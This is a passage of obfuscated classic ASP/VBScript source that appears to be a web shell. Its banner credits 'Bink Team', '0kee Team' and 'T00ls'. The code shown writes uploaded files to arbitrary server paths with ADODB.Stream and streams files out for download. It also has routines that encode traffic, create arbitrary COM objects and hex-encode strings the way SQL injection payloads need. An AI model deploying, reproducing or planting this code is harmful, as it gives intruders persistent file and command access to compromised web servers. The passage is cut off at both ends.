Response.ContentType="Application/Octet-Stream" Response.BinaryWrite kodwq.Read Response.Flush() kodwq.Close Set kodwq=Nothing End Sub Sub uvrs() If Not qjr Then On Error Resume Next Dim i,j,info,srh,theFile,fileName,spmh If InstrRev(vqsbz,".")"\"Then vqsbz=vqsbz&"\" vqsbz=vqsbz&igiqh End If If InStr(vqsbz,":")<1 Then vqsbz=vqt&"\"&vqsbz Set kodwq=mfmq("Adodb.Stream") Set srh=mfmq("Adodb.Stream") With kodwq .Type=1 .Mode=3 .Open .Write Request.BinaryRead(Request.TotalBytes) .Position=0 spmh=.Read() i=InStrB(spmh,chrB(13)&chrB(10)) info=LeftB(spmh,i-1) i=Len(info)+2 i=InStrB(i,spmh,chrB(13)&chrB(10)&chrB(13)&chrB(10))+4-1 j=InStrB(i,spmh,info)-1 srh.Type=1 srh.Mode=3 srh.Open kodwq.position=i .CopyTo srh,j-i-2 If xxyj=1 Then srh.SavetoFile vqsbz,2 Else srh.SavetoFile vqsbz End If If Err Then smeb(Err) Else zhv"File uploaded" End If srh.Close .Close End With Set kodwq=Nothing Set srh=Nothing End Sub Function rsdx(xdl) If Not zvhy Or xdl=""Then rsdx=xdl Exit Function End If Dim tt,odyzj tt="" For i=1 To Len(xdl) odyzj=Mid(xdl,i,1) If Asc(odyzj)<128 And Asc(odyzj)>0 then tt=tt&Asc(odyzj)+ybd&miih Else tt=tt&odyzj&miih End If Next rsdx=Left(tt,Len(tt)-1) End Function Function wdhw(jtd) If Not zvhy Or jtd=""Then wdhw=jtd Exit Function End If Dim dd,ofetm dd="" ofetm=Split(jtd,miih) For i=0 To UBound(ofetm) If IsNumeric(ofetm(i))Then dd=dd&Chr(CInt(ofetm(i))-ybd) Else dd=dd&ofetm(i) End If Next wdhw=dd End Function Function jck() Dim bdyaf,pylll,vhjdi pylll=88 vhjdi=31 bdyaf="
    " bdyaf=bdyaf&"Bink Team | " bdyaf=bdyaf&"0kee Team | " bdyaf=bdyaf&"T00ls | " bdyaf=bdyaf&"Fuck Tencent" jck=bdyaf End Function Function gbba(str) gbba=Request.ServerVariables(str) End Function Function mfmq(frije) Set mfmq=Server.CreateObject(frije) End Function Function dtwz(frije) Set dtwz=GetObject(frije) End Function Function qtyi(str) qtyi=server.urlencode(str) End Function Function pjaq(str) Dim yyz,ewfcm yyz="" For i=0 To Len(str)-1 ewfcm=Right(str,Len(str)-i) If Asc(ewfcm)<16 Then yyz=yyz&"0" yyz=yyz&CStr(Hex(Asc(ewfcm))) Next pjaq="0x"&yyz End Function Function pxxk(str) Dim yyz,ewfcm yyz="" For i=0 To Len(str)-1 ewfcm=Right(str,Len(str)-i) yyz=yyz&CStr(Hex(Asc(ewfcm)))&"00" Next pxxk="0x"&yyz End Function Function htmlEncode(str) str=vresz(str) str=Replace(str,Chr(13)&Chr(10),"
    ") htmlEncode=Replace(str," "," ") End Function Function vresz(str) If str=""Or IsNull(str)Then vresz="" Exit Function End If vresz=Server.HtmlEncode(str) End Function Function dhh(str) dhh=Server.MapPath(str) End Function Sub smeb(Err) If Err Then zhv"Exception :"&Err.Description zhv"Exception source :"&Err.Source Err.Clear End If End Sub Function utzvg(ByVal str) str=Replace(str,"\","\\") utzvg=Replace(str,"\\\\","\\") End Function Function lgk(str,pnux,qxqyo) If str="" Or InStr(str,pnux)<1 Then lgk="" Exit Function End If If qxqyo Then lgk=Left(str,InStr(str,pnux)-1) Else lgk=Left(str,InstrRev(str,pnux)-1) End If End Function Function smfap(str,pnux) If str="" Or InStr(str,pnux)<1 Then smfap="" Exit Function End If smfap=Mid(str,InstrRev(str,pnux)+Len(pnux)) End Function Sub echo(str) Response.Write str End Sub Sub eedi(str) echo str&vbCrLf End Sub Sub iquhg(frije,opns) echo""&frije&" :" echo"